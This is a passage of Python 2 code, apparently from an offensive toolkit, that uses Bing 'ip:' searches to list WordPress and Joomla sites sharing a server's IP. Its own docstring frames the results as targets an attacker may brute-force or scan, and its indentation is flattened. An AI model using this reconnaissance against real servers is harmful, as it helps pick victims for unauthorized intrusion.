lista = unique(lista)
clearScr()
print '[*] Found ', len(lista), ' Wordpress Website\n'
for site in lista :
print site
def getJoomla(self) :
"""
get all joomla websites using
bing search the attacker may bruteforce
or scan them
"""
lista = []
page = 1
while page <= 101:
bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+index.php?option=com&count=50&first=" + str(page)
openbing = urllib2.urlopen(bing)
readbing = openbing.read()
findwebs = re.findall('<h2><a href="(.*?)"', readbing)
for i in range(len(findwebs)):
jmnoclean = findwebs[i]
findjm = re.findall('(.*?)index.php', jmnoclean)
lista.extend(findjm)
page += 50
lista = unique(lista)
clearScr()
print '[*] Found ', len(lista), ' Joomla Website\n'
for site in lista :